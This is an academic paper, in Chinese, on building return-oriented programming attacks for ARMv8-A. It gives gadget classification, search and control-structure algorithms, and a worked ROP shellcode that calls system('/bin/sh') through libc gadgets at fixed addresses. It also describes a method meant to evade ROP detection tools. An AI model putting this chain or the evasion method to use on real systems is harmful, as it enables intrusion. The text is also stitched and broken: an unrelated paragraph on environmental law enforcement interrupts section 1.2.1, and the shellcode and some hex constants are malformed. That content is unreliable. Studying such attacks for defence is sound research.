ARMv8-A Return-Oriented Programming实现方法

2018-11-30 01:46赵利军
计算机应用与软件 2018年11期
关键词:寄存器指令内存

赵利军 李 民 彭 诚

(中国人民解放军陆军工程大学军事理论创新与作战实验中心 江苏 徐州 221000)

0 引 言

ARMv8-A架构自2011年提出以来,其产品生态链得到了长足的发展。未来几年将会有越来越多支持ARMv8-A架构的产品投市。2013年苹果公司的iPhone 5s 采用的A7处理器是第一款正式量产的基于ARMv8架构的处理器[1]。2014年AMD、博通和Applied Micro Circuits等公司均推出ARMv8处理器[2-4]。ARM公司预测2016年基于ARMv8的新型服务器将占有5%~10%的市场份额[5]。

2007年Hova Shacham第一次提出了x86平台上的返回导向编程技术(ROP)[6]。ROP技术不是通过注入恶意代码,而是通过复用动态库和可执行代码中的指令序列(gadget)来实现任意的代码语义。ROP作为能有效绕开数据执行保护技术的重要手段,引起了研究人员的广泛关注,他们先后在各个平台上进行了ROP技术的研究,例如SPARC[7]、Atmel AVR[8]和PowerPC[9]等。

2010年,Kornau[10]首次在ARM平台上实现的ROP攻击技术采用以BX lr指令结尾的gadget。BX lr指令实现函数的返回[11],相当于x86上的RET指令。文献[11]还提出了一个ARM ROP Gadget自动搜索的算法,并且给出了ARM ROP攻击图灵完整性的证明。在Kornau研究基础上,Davi等[12]采用以BLX指令结尾的gadget实现了ARM架构上的JOP(Jump-Oriented Programming)攻击。

文献[10,12]的讨论和技术实现均是针对ARMv7架构进行的。ARMv7向ARMv8的升级,并不是简单的指令集扩展及通用寄存器组长度的扩展。ARMv8架构为了获得低功耗高效率的64位计算优势,引入了一个全新64位指令集A64。文献[10,12]针对ARMv7的ROP解决方法并没有解决ARMv8 ROP实现的关键问题:(1) ARMv8 ROP gadget的构成及gadget的搜索。ARMv7中用于实现函数返回的BX lr指令在A64指令集中已经不复存在。A64指令集中,用于实现函数返回的指令为RET {Xm}(当Xm省略时默认使用X30)[13-14],ARMv7不存在该条指令。(2) gadget串联和ROP shellcode自动生成。ARMv8-A上实现ARMv7的LR寄存器对应功能的寄存器是X30,前者是32位的,后者是64位的。ARMv8-A中64位栈的组织与使用发生了明显的变化。ARMv8架构函数的prologue先调整栈指针,压入函数返回地址,再分配局部变量空间[13-14]。ARMv7架构函数的prologue先压入函数返回地址,再调整栈指针,为局部变量分配空间。这些调整和变化均会影响gadget串联和ROP shellcode自动生成方式。本文将讨论ARMv8 ROP实现的原理和方法,并通过实例说明ARMv8上ROP攻击的全过程。

1 ARMv8 ROP 方法

1.1 ARMv8 ROP基本组成单元

ARMv8实现函数返回的指令RET{Xm}本质上是一条无条件间接转移指令,可用Xm来显式指明跳转地址,Xm省略时,跳转地址由X30寄存器给出。虽然Xm可以为X0-X30中的任意一个,但Linaro ARMv8 Linux函数返回指令仅使用了Xm省略的情况(使用X30寄存器存放目的地址)[13-14]。该指令对应的二进制编码为d6 5f 03 c0。RET指令前通常有一条LDP/LDR指令用于把保存在栈中的函数的返回地址读取到寄存器X30。

ARMv8 ROP的基本单元是以RET指令结尾(函数返回地址通常由X30指定)的指令序列。ARMv8的函数返回地址通常由X30指定。要让以RET指令结尾的gadget串联起来的关键是合理控制X30 寄存器值,让上一个gadget的末条指令RET的X30值作为下一个gadget的首指令的地址。本文给出了如下的逻辑结构来描述ARMv8 ROP gadget的构成,并将ROP gadget归结为三种类型,方便gadget链的串联和ROP shellcode 的自动生成。

1.1.1 逻辑结构

针对ARMv8架构,本文给出ARMv8 gadget的逻辑结构定义如下:

typedef struct

{

INS_STR GADGET_BODY[ ];

INS_STR X30_ADJUST;

INS_STR LAST_INS;

} gadget_logic_struct;

ARMv8 gadget的逻辑结构由以下三部分组成:

(1) GADGET_BODY:执行gadget的主要功能,gadget中除X30_ADJUST和LAST_INS以外的部分;本部分可能为Φ,如控制流gadget。

(2) X30_ADJUST:影响X30值的指令段,通常是LDP/LDR指令,若存在,一般只出现在gadget倒数第二条指令上;gadget倒数第二条指令是LDP/LDR以外的指令,该部分为Φ。

(3) LAST_INS:gadget的最后一条指令,本文中为RET指令。

1.1.2 gadget类别

根据X30_ADJUST的形态,ARMv8 ROP gadget类型见图1。

图1 ARMv8 ROP gadget类型

TYPE(a):X30_ADJUST为“ldp x29,x30,[sp],#offset”格式的指令。该条load register pair(post-indexd)指令,首先从当前栈顶依次读取两个64位数据到寄存器X29和X30,然后更改栈指针的值为sp+offset。绝大多数gadget属于此类型,如{add x0,x0,x1;ldp x29,x30,[sp],#0x20;ret}。

TYPE(b):X30_ADJUST为“ldr x30,[sp],#offset”格式的指令。该条load register(post-indexd)指令,从当前栈顶读取一个64位数据到寄存器X30,然后更改栈指针的值为sp+offset,如{ldr x0,[sp],#8;ldr x30,[sp],#8 ;ret}。

TYPE(c):X30_ADJUST中为Φ。该类gadget在完成特定功能的GADGET_BODY之后,直接使用RET指令进行跳转。该类gadget不改变X30的值,X30的值由上一个gadget决定,如{ ldr x1, [x0, #0x68];ret}。

1.1.3 gadget搜索算法

ARMv8 ROP gadget自动搜索是从库文件和可执行文件中搜索以RET指令结尾的指令序列,并将搜索到的指令序列输出为本文定义的ARMv8 gadget的逻辑结构格式。算法1给出了自动搜索算法遍历库文件或可执行文件的整个代码段。当遇到RET指令时,就将RET指令对应的目标码存放在gadget逻辑结构的LAST_INS中;然后判断RET的前一条指令,如果为LDP/LDR指令,就把对应的目标码放入gadget逻辑结构的X30_ADJUST中,否则加入gadget逻辑结构的GADGET_BODY[]中。参数maxdepth给出了搜索算法的深度,也即gadget对应的指令序列中指令最大条数。通常maxdepth的值设为2~5。当发生以下情况时算法停止搜索:① 当遇到返回指令RET、跳转指令BLR或间接调用指令BR时;② 当gadget中的指令的条数大于搜索深度maxdepth时。

算法1ARMv8 gadget自动搜索算法

1 /* textseg_length: the size of the text segment of the libraries or executables; maxdepth: the maximum instruction number for each gadget; input:textseg output:g (gadget_logic_struct sequences)*/

2: Create Gadget( ){

3. for (pos=0,pos

4: if(the instruction at pos is "RET"){

5: put current instruction insn into g.LAST_INS;

6: if(the previous instruction is "LDP" or "LDR")

7: put previous instruction pre_insn into g.X30_ADJUST;

8: else put previous instruction pre_insn into g. GADGET_BODY[];

9: for (step.from2 to maxdepth) {

10: if ( the instruction insn at (pos-step*4) is not ("RET" or "BLR" or "BR")) )

11: merge current instruction insn into g. GADGET_BODY[];

12: else break;} } }

13: set g to the next gadget;

14: }

1.1.4 gadget统计

Linaro ARMv8 Linux(Linux version 3.6.0-1-Linaro-vexpress64)的/bin和/usr/bin目录下存在178个应用程序,其所依赖的库文件引用统计如表1所示(仅列出前10)。

表1 Linaro ARMv8 Linux基本命令的库文件引用统计

续表1

从表1可以看出,所有的应用程序都用到了libc.so.6和ld-linux-aarch64.so.1这两个库文件。 表2给出了这两个库文件中三类gadget的统计结果,可见可用于实现ARMv8ROP的gadget数目还是相当可观的。

表2 gadget统计结果

1.2 ARMv8 ROP方法设计

1.2.1 控制结构的组成

为了实现gadget链的串联,本文引入了一个结构体:控制结构CS(control structure)。CS的组成如图2所示。

图2 CS组成结构

各部分的作用如下:

(1) PAR_SEC(GP):参数字段(parameter section),用于保存gadget所需要的参数和数据。若gadget不需要从堆栈中加载参数和数据,该部分为Φ。

(2) PAD0:X29_REG和PAR_SEC间可能存在的填充字段。

在市场经济发展之时,负面现象,尤其是环境污染随之出现。为了营造碧水蓝天的生活环境,实现可续持续化发展,在2014年11月12日,国务院下发了《关于加强环境监管执法的通知》,要求全国各级地方政府重视环境执法工作,杜绝各种环境违法现象,着力提高环境质量水平。在2018年5月18日,国家主席习近平在全国生态环境保护大会上就环境执法工作重要性予以强调,并罗列若干事宜。依据上述内容,可以将环境执法界定为:以党政政策、法律法规为基准的,打击实施一切环境违法犯罪的活动。

(3) X29_REG(X29PAD):用于保存X29的内容。TYPE(b)的gadget对应的CS中,此段为Φ。

(4) X30_REG(GA):用于保存X30的内容。上一个gadget基于该字段的值来调度本CS对应的gadget。

(5) PAD1:X30_REG之后可能存在的填充字段。

1.2.2 ARMv8 ROP的工作原理

为每个gadget生成一个CS对象,将各gadget的CS对象前后排列在一起就得到对应的ROP shellcode。ROP shellcode的各gadget在对应的CS对象控制之下能逐个得以执行。图3给出了ARMv8 ROP的内存布局和工作过程。

图3 ARMv8 ROP内存布局/框架

ROP攻击过程如下:

Step1_a攻击者利用应用程序的漏洞向内存中注入ROP shellcode。

Step2gadget_0中X30_ADJUST对应的指令将CS0中的X30_REG加载到X30。

Step3gadget_0的RET指令执行,控制流将转向gadget_1。

Step4后继gadget将重复Step2和Step3,直至攻击完成。

1.2.3 CS自动构造算法

本文的CS自动构造算法保证了堆栈的LIFO使用特性。该算法适用于运行时ROP shellcode自动生成,可避免基于LIFO特性的ROP检测工具的检测。CS的自动构造算法见算法2。该算法针对三种类型的gadget,通过倒序遍历gadget中的各条指令生成对应的CS控制数据。

算法2CS自动构造算法

1: CS cs_constructor(GADGET g, CS cs) {

2: INSN insn;

3: if(g. LAST_INS. op is not "RET" ) return(-1);

4: if (g. X30_ADJUST. op is "ldr" or "ldp" ) {

5: ONEORPAIR_size=(g. X30_ADJUST. op is "ldr") ? 0x8: 0x10;

6: if (g. X30_ADJUST. imm > ONEORPAIR_size)

7: fill cs.PAD1 with 0xA of size(g. X30_ADJUST. imm-ONEORPAIR_size);

8: else set length of cs. PAD1 to 0;

9: cs. X30_REG = current gadget address;

10: if (g. X30_ADJUST. op is "ldr")

11: set length of cs. X29_REG to 0;

12: else cs. X29_REG ="AAAAAAAA";}

13: for ( next insn from tail of g. GADGET_BODY) {

14: if( insn. op is "ldr" or "ldp") {

15: ONEORPAIR_size=(g.X30_ADJUST.op is "ldr") ? 0x8: 0x10;

16: if (insn. imm> ONEORPAIR_size)

17: fill cs. PAD0 with 0xA of size(insn, imm-ONEORPAIR_size);

18: else set length of cs. PAD 0 to 0;

19: fill cs. PAR_SEC with parameter_value; }

20: }}

图4给出了CS自动构造的一个实例。该gadget的完整指令序列为{ldr x0,[sp],#16;add x0,#1;mov x2,x0;ldp x29,x30,[sp],#32;ret}。GADGET_BODY包括前三条指令{ldr x0,[sp],#16;add x0,#1;mov x2,x0};X30_ADJUST对应的指令为{ldp x29,x30,[sp],#32};LAST_INS对应的指令为{ret}。算法处理X30_ADJUST中的LDP指令时,ONEORPAIR_size为16,X30_ADJUST.imm为32,PAD1对应的字段的长度为16(X30_ADJUST.imm-ONEORPAIR_size),X30_REG字段为该gadget在内存中的地址,用8个A对X29_REG进行填充。算法处理GADGET_BODY中的LDR指令时,ONEORPAIR_size为8,insn.imm为16,PAD0对应的字段的大小为8(insn.imm-ONEORPAIR_size),最后把需要加载到X0中的数据保存到PAR_SEC中。

图4 CS自动构造实例

2 在Linaro ARMv8 Linux上发动ROP攻击

本节将给出Linaro ARMv8 Linux上实现的ROP攻击实例。该实例通过劫持控制流使程序去运行一段ROP shellcode。该shellcode通过复用libc.so.6中的system( )函数打开一个shell命令行窗口。Linaro是ARM公司授权商,为ARMv8开发的工具链和快速模型虚拟平台。本文所用的Linaro ARMv8 Linux版本号为Linux 3.6.0-1-Linaro-vexpress64。

2.1 gadget链

本例gadget链所用的3个gadget来自libc.so.6或ld-linux-aarch64.so.1库文件。gadget(12)和gadget(13)分别从内存加载数据到寄存器X0和X1;gadget(14)将X0和X1相加,结果保存到寄存器X0中。gadget(11)中的“ldp x29,x30,[sp],#0x20”指令将从gadget的CS中加载system函数的入口地址到X30中,最后的RET指令将转去执行system函数。

这三个gadget同时也是一个消除NULL字符的decoder。System( )函数所需要的参数(字符串“/bin/sh”的起始地址)为0x0000007fb7eb47c0,高位的3个字节为NULL,不应出现在shellcode代码串中。

0x7fb7f4c4e4<+100>: F84027E0 ldr x0,[sp],#8

0x7fb7f4c4e8<+104>: F84027FE ldr x30,[sp],#8

0x7fb7f4c4ec<+108>: D65F03C0 ret

gadget(12)

0x7fb7b4a8c4<+84>: F84027E1 ldr x1,[sp],#8 0x7fb7b4a8c8<+88>: A8C37BFD ldp x29,x30,[sp],#0x10

0x7fb7b4a8cc<+92>: D65F03C0 ret

gadget(13)

0x7fb75e138<+60>: 8b010000 add x0,x0,x1

0x7fb75e13c<+64>: A8C17BFD ldp x29,x30,[sp],#0x20

0x7fb75e140<+68>: D65F03C0 ret

gadget(14)

2.2 ROP shellcode

相应的ROP shellcode共126个字节,内容如下:

charshellcode[]=

"x41x41x41x41x41x41x41x41x41x41x41x41"

"x41x41x41x41x41x41x41x41x41x41x41x41"

"x41x41x41x41x41x41x41x41x41x41x41x41"

"x41x41x41x41xe4xc4xf4xb7x7fx41x41x41"

"x41x41x41x41x41x41x41x41x41x41x41x41"

"x41x41x41x41x41x41x41x41x41x41x41x41"

"x41x41x41x41x41x41x41x41xfdxedxeexee"

"x6exeexeexeexc4xa8xb4xb7x7fx11x10x11"

"x11x11x12x11x11x41x41x41x41x41x41x41"

"x38x14x5exb7x7fx41x41x41x41x41x41x41"

"x44x46xedxb7x7fx00”;

图5给出ROP shellcode在二进制代码查看工具中看到的结果。没有用到的闲置内存全部用字符A填充。

图5 ROP shellcode实例数据

2.3 实现原理

ROP shellcode对应的内存布局及工作原理如图6所示。左侧给出ROP的内存安排和内存地址的后12位,右侧的虚线代表指令序列的执行顺序。

图6 ROP攻击实例原理图

(1) 漏洞利用和控制流劫持:假设通过一次漏洞利用,本实例已经用gadget(12)的首地址0x7fb7b4 a8c4覆盖了程序保存在0x7ffffffb88处的正常的返回地址,这样当程序返回时,将会跳转到gadget(12)执行。

(2) gadget(12):根据1.1.2节对gadget类别的介绍,gadget(12)属于TYPE(b)类型,即LAST_INS为RET指令,X30_ADJUST为ldr x30,[sp],#8。

GADGET_BODY[]中存放的是ldr x0,[sp],#8指令。依据1.2.3节CS自动构造算法,其生成的控制结构对应图6中的0x7ffffffbc0-0x7ffffffbd0内存区域,X30_REG的值为0x7fb7b4a8c4,PAR_SEC的值为0xeeeeee6eeeeeedfd。该gadget的功能为从当前栈顶取出两个64位数据依次放入寄存器X0(值为0xeeeeee6eeeeeedfd)和X30(值为0x7fb7b4a8c4,gadget(10)首地址)。

(3) gadget(13):根据1.1.2节对gadget类别的介绍,gadget(13)属于TYPE(a)类型,即LAST_INS为RET指令,X30_ADJUST为ldp x29,x30,[sp],#0x10,GADGET_BODY[]中存放的是ldr x1,[sp],#8 指令。依据1.2.3 CS自动构造算法,其生成的控制结构对应图6中的0x7ffffffbd0-0x7ffffffbe0内存区域,X30_REG的值为为0x7fb75e138。本文使用8个字符“A”填充X29_REG,PAR_SEC的值为0x11111211111111011。该gadget的功能为从当前栈顶读取一个64位数据放入寄存器X1(值为0x11111211111111011),sp值增加8个字节;然后从当前栈顶读取两个数据依次放入寄存器X29(8个A)和X30(值为0x7fb75e138,gadget(14)首址),sp值增加16个字节。

(4) gadget(14) :根据1.1.2节对gadget类别的介绍,gadget(14)属于TYPE(a)类型,即LAST_INS为RET指令,X30_ADJUST为ldp x29,x30,[sp],#0x20,GADGET_BODY[]中存放的是add x0,x0,x1 指令。依据1.2.3 CS自动构造算法,其生成的控制结构对应图6中的0x7ffffffbe8-0x7ffffffbf0内存区域。使用16个字符“A”填充PAD1,X30_REG的值为为0x7fb7ed4644,使用8个字符“A”填充X29_REG。该gadget的第一条指令将X0与X1相加(0xeeeeee6eeeeeedfd+0x11111211111111011=0x0000007fb7eb47c0(该地址处存放着字符串“/bin/sh”); 第二条指令然后将0x7ffffffbe8处的8个“A”加载到X29中,0x7ffffffbf0处的system系统调用的地址加载到X30寄存器中。通过RET指令使控制流转去0x7fb7ed4644处执行(system代码的入口地址为0x7fb7ed4644)。 程序执行system系统调用完成攻击。

3 结 语

本文提出了一个ARMv8上实现ROP的框架和方法,在给出ROP gadget逻辑结构定义和分类方法的基础上,实现了gadget自动搜索与ARMv8 ROP控制结构自动构造。本文的ROP方法维持了堆栈的LIFO使用特性,适用于运行时ROP shellcode的自动生成,可避免基于LIFO特性的ROP检测工具的检测。目前,ROPdefender、DROP、ROPecker等工具虽然尚不支持ARMv8架构上ROP的检测。ROP方法普遍存在频繁使用RET的特征,上述工具经平台扩展后将可以实现对本文ROP方法的检测。下一步工作将进行ARMv8 JOP技术的研究,使其能够有效绕过检测RET指令特征的防御工具。

猜你喜欢
寄存器指令内存
基于 Verilog HDL 的多周期 CPU 设计与实现
《单一形状固定循环指令G90车外圆仿真》教案设计
Lite寄存器模型的设计与实现
笔记本内存已经在涨价了,但幅度不大,升级扩容无须等待
“春夏秋冬”的内存
二进制翻译中动静结合的寄存器分配优化方法
移位寄存器及算术运算应用
内存搭配DDR4、DDR3L还是DDR3?
中断与跳转操作对指令串的影响
MAC指令推动制冷剂行业发展